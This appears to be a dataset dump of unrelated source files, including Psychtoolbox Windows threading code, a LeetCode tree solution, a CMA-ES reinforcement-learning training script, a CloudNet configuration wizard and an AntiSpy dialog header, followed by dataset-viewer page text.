// in any way on Windows - It is simply not possible. One would need to create each condition
// for either being useable for one method or the other and then carefully keep track of past
// usage.
PsychErrorExitMsg(PsychError_unimplemented, "Tried to call PsychBroadcastCondition()! Unsupported on MS-Windows!!");
// According to MSDN, PulseEvent is unreliable and should not be used.
return((int) ((PulseEvent(*condition) == 0) ? GetLastError() : 0));
}
/* Atomically release the 'mutex' lock and go to sleep, waiting for the 'condition' variable
* being signalled, then waking up and trying to re-lock the 'mutex'. Will return with
* mutex locked.
*/
int PsychWaitCondition(psych_condition* condition, psych_mutex* mutex)
{
int rc, rc2;
// MS-Windows: Unlock mutex, wait for our event-object to go to signalled
// state, then reacquire the mutex:
// Manually reset our "auto-reset" event to non-signalled while we are still
// protected by the mutex to get Posix semantic:
ResetEvent(*condition);
if ((rc = PsychUnlockMutex(mutex))) {
printf("PTB-CRITICAL: In call to PsychWaitCondition(%p, %p): PsychUnlockMutex(%p) FAILED [rc=%i]! Expect disaster!!!", condition, mutex, mutex, rc);
return(rc);
}
if ((rc = WaitForSingleObject(*condition, INFINITE)) != WAIT_OBJECT_0) {
rc = (int) GetLastError();
printf("PTB-CRITICAL: In call to PsychWaitCondition(%p, %p): WaitForSingleObject(%p) FAILED [GetLastError()=%i]! Expect disaster!!!", condition, mutex, condition, rc);
}
if ((rc2 = PsychLockMutex(mutex))) {
printf("PTB-CRITICAL: In call to PsychWaitCondition(%p, %p): PsychLockMutex(%p) FAILED [rc=%i]! Expect disaster!!!", condition, mutex, mutex, rc2);
return(rc2);
}
// Manually reset our "auto-reset" event to non-signalled while we are again
// protected by the mutex to get Posix semantic:
ResetEvent(*condition);
return(rc);
}
/* Atomically release the 'mutex' lock and go to sleep, waiting for the 'condition' variable
* being signalled, then waking up and trying to re-lock the 'mutex'. Will return with
* mutex locked.
*
* Like PsychWaitCondition, but function will timeout if it fails being signalled before
* timeout interval 'maxwaittimesecs' expires. In any case, it will only return after
* reacquiring the mutex. It will retun zero on successfull wait, non-zero (WAIT_TIMEOUT) if
* timeout was triggered without the condition being signalled.
*/
int PsychTimedWaitCondition(psych_condition* condition, psych_mutex* mutex, double maxwaittimesecs)
{
int rc, rc2;
int maxmillisecs;
if (maxwaittimesecs < 0) {
printf("PTB-CRITICAL: In call to PsychTimedWaitCondition(%p, %p, %f): NEGATIVE timeout value passed! Clamping to zero! Expect trouble!!", condition, mutex, maxwaittimesecs);
maxmillisecs = 0;
}
else {
// Convert seconds to milliseconds:
maxmillisecs = (int) (maxwaittimesecs * 1000.0);
}
// MS-Windows: Unlock mutex, wait for our event-object to go to signalled
// state, then reacquire the mutex:
// Manually reset our "auto-reset" event to non-signalled while we are still
// protected by the mutex to get Posix semantic:
ResetEvent(*condition);
if ((rc = PsychUnlockMutex(mutex))) {
printf("PTB-CRITICAL: In call to PsychTimedWaitCondition(%p, %p, %f): PsychUnlockMutex(%p) FAILED [rc=%i]! Expect disaster!!!", condition, mutex, maxwaittimesecs, mutex, rc);
return(rc);
}
rc = (int) WaitForSingleObject(*condition, (DWORD) maxmillisecs);
if ((rc != WAIT_OBJECT_0) && (rc != WAIT_TIMEOUT)) {
rc = (int) GetLastError();
printf("PTB-CRITICAL: In call to PsychTimedWaitCondition(%p, %p, %f): WaitForSingleObject(%p, %i) FAILED [GetLastError()=%i]! Expect disaster!!!", condition, mutex, maxwaittimesecs, condition, maxmillisecs, rc);
}
if ((rc2 = PsychLockMutex(mutex))) {
printf("PTB-CRITICAL: In call to PsychTimedWaitCondition(%p, %p, %f): PsychLockMutex(%p) FAILED [rc=%i]! Expect disaster!!!", condition, mutex, maxwaittimesecs, mutex, rc2);
return(rc2);
}
// Manually reset our "auto-reset" event to non-signalled while we are again
// protected by the mutex to get Posix semantic:
ResetEvent(*condition);
// Success: Either in the sense of "signalled" or in the sense of "timeout".
// rc will tell the caller what happened: 0 = Signalled, 0x00000102L == WAIT_TIMEOUT for timeout.
return(rc);
}
/* Report official support status for this operating system release.
* The string "Supported" means supported.
* Other strings describe lack of support.
*/
const char* PsychSupportStatus(void)
{
// Info struct for queries to OS:
OSVERSIONINFO osvi;
// Init flag to -1 aka unknown:
static int isSupported = -1;
static char statusString[256];
if (isSupported == -1) {
// First call: Do the query!
char codename[15];
// Query info about Windows version:
memset(&osvi, 0, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
// Special case for Windows-10 and later, as GetVersionEx() doesn't report
// version numbers faithfully beyond Windows 8, unless application manifest
// would mark the app as Windows-8.1+ compatible. Fake a 10.0 version if this
// is Windows 10 or later - should be good enough for our purposes.
if (PsychOSIsMSWin10()) {
osvi.dwMajorVersion = 10;
osvi.dwMinorVersion = 0;
}
// Map version code to marketing product name:
if (osvi.dwMajorVersion == 4)
sprintf(codename, "NT");
else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
sprintf(codename, "2000");
else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
sprintf(codename, "XP");
else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
sprintf(codename, "Server 2003");
else if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
sprintf(codename, "Vista");
else if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
sprintf(codename, "7");
else if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2)
sprintf(codename, "8");
else if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 3)
sprintf(codename, "8.1");
else if (osvi.dwMajorVersion == 10 && osvi.dwMinorVersion == 0)
sprintf(codename, "10");
else
sprintf(codename, "");
// It is a Vista or later if major version is equal to 6 or higher:
// 6.0 = Vista, 6.1 = Windows-7, 6.2 = Windows-8, 6.3 = Windows-8.1, 5.2 = Windows Server 2003, 5.1 = WindowsXP, 5.0 = Windows 2000, 4.x = NT
// 10.0 = Windows-10
isSupported = ((osvi.dwMajorVersion == 10) || ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion >= 1))) ? 1 : 0;
if (isSupported) {
// Windows-10 is fully supported, earlier Windows only partially:
sprintf(statusString, "Windows %s (Version %i.%i) %s.", codename, osvi.dwMajorVersion, osvi.dwMinorVersion, (osvi.dwMajorVersion == 10) ? "supported and tested to some limited degree" : "partially supported, but no longer tested at all");
}
else {
sprintf(statusString, "Windows %s (Version %i.%i) is not supported.", codename, osvi.dwMajorVersion, osvi.dwMinorVersion);
}
}
return(statusString);
}
| 30,942
|
1,687
|
<filename>11-Binary-Tree/1-Basic/0129-sum-root-to-leaf-numbers/src/Solution.java
import java.util.ArrayList;
import java.util.List;
public class Solution {
private List<String> res = new ArrayList<>();
private void sumNumbers(TreeNode node, String path) {
if (node == null) {
return;
}
path = path + node.val;
if (node.left == null && node.right == null) {
// 才是叶子节点,执行我们的逻辑
res.add(path);
return;
}
sumNumbers(node.left, path);
sumNumbers(node.right, path);
}
private int convert() {
int sum = 0;
for (String s : res) {
sum += Integer.parseInt(s);
}
return sum;
}
public int sumNumbers(TreeNode root) {
if (root == null) {
return 0;
}
sumNumbers(root, "");
return convert();
}
}
| 504
|
383
|
from multiprocessing import Pool
import time
import numpy as np
import torch
import gym
from lagom import Logger
from lagom import EpisodeRunner
from lagom.transform import describe
from lagom.utils import CloudpickleWrapper
from lagom.utils import pickle_dump
from lagom.utils import tensorify
from lagom.utils import set_global_seeds
from lagom.experiment import Config
from lagom.experiment import Grid
from lagom.experiment import run_experiment
from lagom.envs import TimeStepEnv
from lagom import CMAES
from baselines.cmaes.agent import Agent
config = Config(
{'log.freq': 10,
'checkpoint.num': 3,
'env.id': Grid(['Acrobot-v1', 'BipedalWalker-v2', 'Pendulum-v0', 'LunarLanderContinuous-v2']),
'nn.sizes': [64, 64],
# only for continuous control
'env.clip_action': True, # clip action within valid bound before step()
'agent.std0': 0.6, # initial std
'train.generations': 500, # total number of ES generations
'train.popsize': 32,
'train.worker_chunksize': 4, # must be divisible by popsize
'train.mu0': 0.0,
'train.std0': 1.0,
})
def make_env(config, seed, mode):
assert mode in ['train', 'eval']
env = gym.make(config['env.id'])
env.seed(seed)
env.observation_space.seed(seed)
env.action_space.seed(seed)
if config['env.clip_action'] and isinstance(env.action_space, gym.spaces.Box):
env = gym.wrappers.ClipAction(env) # TODO: use tanh to squash policy output when RescaleAction wrapper merged in gym
env = TimeStepEnv(env)
return env
def fitness(data):
torch.set_num_threads(1) # VERY IMPORTANT TO AVOID GETTING STUCK
config, seed, device, param = data
env = make_env(config, seed, 'train')
agent = Agent(config, env, device)
agent.from_vec(tensorify(param, 'cpu'))
runner = EpisodeRunner()
with torch.no_grad():
D = runner(agent, env, 10)
R = np.mean([sum(traj.rewards) for traj in D])
H = np.mean([traj.T for traj in D])
return R, H
def run(config, seed, device, logdir):
set_global_seeds(seed)
torch.set_num_threads(1) # VERY IMPORTANT TO AVOID GETTING STUCK
print('Initializing...')
agent = Agent(config, make_env(config, seed, 'eval'), device)
es = CMAES([config['train.mu0']]*agent.num_params, config['train.std0'],
{'popsize': config['train.popsize'],
'seed': seed})
train_logs = []
checkpoint_count = 0
with Pool(processes=config['train.popsize']//config['train.worker_chunksize']) as pool:
print('Finish initialization. Training starts...')
for generation in range(config['train.generations']):
t0 = time.perf_counter()
solutions = es.ask()
data = [(config, seed, device, solution) for solution in solutions]
out = pool.map(CloudpickleWrapper(fitness), data, chunksize=config['train.worker_chunksize'])
Rs, Hs = zip(*out)
es.tell(solutions, [-R for R in Rs])
logger = Logger()
logger('generation', generation+1)
logger('num_seconds', round(time.perf_counter() - t0, 1))
logger('Returns', describe(Rs, axis=-1, repr_indent=1, repr_prefix='\n'))
logger('Horizons', describe(Hs, axis=-1, repr_indent=1, repr_prefix='\n'))
logger('fbest', es.result.fbest)
train_logs.append(logger.logs)
if generation == 0 or (generation+1) % config['log.freq'] == 0:
logger.dump(keys=None, index=0, indent=0, border='-'*50)
if (generation+1) >= int(config['train.generations']*(checkpoint_count/(config['checkpoint.num'] - 1))):
agent.from_vec(tensorify(es.result.xbest, 'cpu'))
agent.checkpoint(logdir, generation+1)
checkpoint_count += 1
pickle_dump(obj=train_logs, f=logdir/'train_logs', ext='.pkl')
return None
if __name__ == '__main__':
run_experiment(run=run,
config=config,
seeds=[1770966829, 1500925526, 2054191100],
log_dir='logs/default',
max_workers=12, # tune to fulfill computation power
chunksize=1,
use_gpu=False,
gpu_ids=None)
| 1,881
|
304
|
/*
* Copyright 2019-2021 CloudNetService team & contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package de.dytanic.cloudnet.setup;
import de.dytanic.cloudnet.CloudNet;
import de.dytanic.cloudnet.common.language.LanguageManager;
import de.dytanic.cloudnet.common.unsafe.CPUUsageResolver;
import de.dytanic.cloudnet.console.animation.questionlist.ConsoleQuestionListAnimation;
import de.dytanic.cloudnet.console.animation.questionlist.QuestionListEntry;
import de.dytanic.cloudnet.console.animation.questionlist.answer.QuestionAnswerTypeBoolean;
import de.dytanic.cloudnet.console.animation.questionlist.answer.QuestionAnswerTypeHostAndPort;
import de.dytanic.cloudnet.console.animation.questionlist.answer.QuestionAnswerTypeInt;
import de.dytanic.cloudnet.driver.network.HostAndPort;
import de.dytanic.cloudnet.driver.network.cluster.NetworkClusterNode;
import java.net.Inet6Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Enumeration;
import java.util.List;
import java.util.stream.Collectors;
import org.jetbrains.annotations.NotNull;
public class DefaultConfigSetup implements DefaultSetup {
private final List<String> suggestionIPs = new ArrayList<>();
private final List<String> whitelistDefaultIPs = new ArrayList<>();
private String preferredIP;
private void detectAllIPAddresses() throws SocketException {
this.whitelistDefaultIPs.add("127.0.1.1");
this.whitelistDefaultIPs.add("127.0.0.1");
this.suggestionIPs.add("127.0.0.1");
this.suggestionIPs.add("127.0.1.1");
Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
while (interfaces.hasMoreElements()) {
NetworkInterface networkInterface = interfaces.nextElement();
Enumeration<InetAddress> addresses = networkInterface.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress inetAddress = addresses.nextElement();
String address = inetAddress.getHostAddress();
if (!this.whitelistDefaultIPs.contains(address)) {
this.whitelistDefaultIPs.add(address);
}
String formattedAddress = inetAddress instanceof Inet6Address ? String.format("[%s]", address) : address;
if (!this.suggestionIPs.contains(formattedAddress)) {
this.suggestionIPs.add(formattedAddress);
}
}
}
}
private String detectPreferredIP() {
try {
return InetAddress.getLocalHost().getHostAddress();
} catch (Exception exception) {
return this.suggestionIPs.get(0);
}
}
@Override
public void applyQuestions(ConsoleQuestionListAnimation animation) throws Exception {
this.detectAllIPAddresses();
this.preferredIP = this.detectPreferredIP();
animation.addEntry(new QuestionListEntry<>(
"eula",
LanguageManager.getMessage("cloudnet-init-eula"),
new QuestionAnswerTypeBoolean() {
@Override
public boolean isValidInput(@NotNull String input) {
return input.equalsIgnoreCase(super.getTrueString());
}
@Override
public String getInvalidInputMessage(@NotNull String input) {
return LanguageManager.getMessage("cloudnet-init-eula-not-accepted");
}
}
));
animation.addEntry(new QuestionListEntry<>(
"internalHost",
LanguageManager.getMessage("cloudnet-init-setup-internal-host"),
new QuestionAnswerTypeHostAndPort() {
@Override
public String getRecommendation() {
return DefaultConfigSetup.this.preferredIP + ":1410";
}
@Override
public List<String> getCompletableAnswers() {
return DefaultConfigSetup.this.suggestionIPs.stream()
.map(internalIP -> internalIP + ":1410")
.collect(Collectors.toList());
}
}
));
animation.addEntry(new QuestionListEntry<>(
"webHost",
LanguageManager.getMessage("cloudnet-init-setup-web-host"),
new QuestionAnswerTypeHostAndPort() {
@Override
public String getRecommendation() {
return DefaultConfigSetup.this.preferredIP + ":2812";
}
@Override
public List<String> getCompletableAnswers() {
return DefaultConfigSetup.this.suggestionIPs.stream()
.map(internalIP -> internalIP + ":2812")
.collect(Collectors.toList());
}
}
));
animation.addEntry(new QuestionListEntry<>(
"hostAddress",
LanguageManager.getMessage("cloudnet-init-setup-host-address"),
new QuestionAnswerTypeHostAndPort(false) {
@Override
public String getRecommendation() {
return DefaultConfigSetup.this.preferredIP;
}
@Override
public List<String> getCompletableAnswers() {
return DefaultConfigSetup.this.suggestionIPs;
}
}
));
animation.addEntry(new QuestionListEntry<>(
"memory",
LanguageManager.getMessage("cloudnet-init-setup-memory"),
new QuestionAnswerTypeInt() {
@Override
public boolean isValidInput(@NotNull String input) {
return super.isValidInput(input) && Integer.parseInt(input) >= 0;
}
@Override
public String getRecommendation() {
long systemMaxMemory = (CPUUsageResolver.getSystemMemory() / 1048576);
return String.valueOf((int) (systemMaxMemory - Math.min(systemMaxMemory, 2048)));
}
@Override
public List<String> getCompletableAnswers() {
long systemMaxMemory = (CPUUsageResolver.getSystemMemory() / 1048576);
return Arrays.stream(
new int[]{2048, 4096, 8192, 16384, 32768, 65536, (int) (systemMaxMemory - Math.min(systemMaxMemory, 2048))})
.filter(value -> value < systemMaxMemory && value > 0)
.mapToObj(String::valueOf)
.sorted(Collections.reverseOrder())
.collect(Collectors.toList());
}
}
));
}
@Override
public void execute(ConsoleQuestionListAnimation animation) {
if (animation.hasResult("internalHost")) {
HostAndPort internalAddress = (HostAndPort) animation.getResult("internalHost");
CloudNet.getInstance().getConfig().setIdentity(new NetworkClusterNode(
animation.hasResult("nodeId") ? (String) animation.getResult("nodeId") : "Node-1",
new HostAndPort[]{
new HostAndPort(this.whiteListAndFormatHost(internalAddress.getHost()), internalAddress.getPort())
}
));
}
if (animation.hasResult("hostAddress")) {
String hostAddress = ((HostAndPort) animation.getResult("hostAddress")).getHost();
String formattedHostAddress = this.whiteListAndFormatHost(hostAddress);
CloudNet.getInstance().getConfig().setHostAddress(formattedHostAddress);
CloudNet.getInstance().getConfig().setConnectHostAddress(formattedHostAddress);
}
if (animation.hasResult("webHost")) {
HostAndPort webAddress = (HostAndPort) animation.getResult("webHost");
CloudNet.getInstance().getConfig().setHttpListeners(new ArrayList<>(Collections.singletonList(
new HostAndPort(this.whiteListAndFormatHost(webAddress.getHost()), webAddress.getPort())
)));
}
CloudNet.getInstance().getConfig().getIpWhitelist().addAll(this.whitelistDefaultIPs);
if (animation.hasResult("memory")) {
CloudNet.getInstance().getConfig().setMaxMemory((int) animation.getResult("memory"));
}
}
@Override
public boolean shouldAsk(boolean configFileAvailable) {
return !configFileAvailable;
}
private String whiteListAndFormatHost(String host) {
if (!this.whitelistDefaultIPs.contains(host)) {
CloudNet.getInstance().getConfig().getIpWhitelist().add(host);
}
boolean ipv6 = false;
try {
ipv6 = InetAddress.getByName(host) instanceof Inet6Address;
} catch (UnknownHostException exception) {
exception.printStackTrace();
}
return ipv6 ? String.format("[%s]", host) : host;
}
}
| 3,169
|
1,652
|
package com.ctrip.xpipe.redis.checker.healthcheck.actions.interaction.handler;
import com.ctrip.xpipe.redis.checker.healthcheck.actions.interaction.event.AbstractInstanceEvent;
/**
* @author chen.zhu
* <p>
* Sep 18, 2018
*/
public interface HealthEventHandler {
void handle(AbstractInstanceEvent event);
boolean supports(AbstractInstanceEvent event);
}
| 115
|
990
|
<filename>src/Antispy/SpyHunter/SpyHunter/FindWindow.h
/*
* Copyright (c) [2010-2019] <EMAIL> rights reserved.
*
* AntiSpy is licensed under the Mulan PSL v1.
* You can use this software according to the terms and conditions of the Mulan PSL v1.
* You may obtain a copy of Mulan PSL v1 at:
*
* http://license.coscl.org.cn/MulanPSL
*
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR
* FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PSL v1 for more details.
*/
#pragma once
#include "afxwin.h"
#include "MyPic.h"
// CFindWindow dialog
class CFindWindow : public CDialog
{
DECLARE_DYNAMIC(CFindWindow)
public:
CFindWindow(CWnd* pParent = NULL); // standard constructor
virtual ~CFindWindow();
// Dialog Data
enum { IDD = IDD_FIND_WINDOW_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
DECLARE_MESSAGE_MAP()
public:
CString m_szPid;
CString m_szTid;
CMyPic m_picture;
virtual BOOL OnInitDialog();
virtual BOOL PreTranslateMessage(MSG* pMsg);
CString m_szShuoming;
CString m_szStaticPid;
CString m_szStaticTid;
HANDLE m_hMutex;
afx_msg void OnDestroy();
afx_msg void OnBnClickedBtnFindProcess();
afx_msg void OnBnClickedBtnKillProcess();
afx_msg void OnBnClickedBtnKillThread();
afx_msg void OnBnClickedBtnFindThread();
afx_msg void OnBnClickedCancel();
};
| 624
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.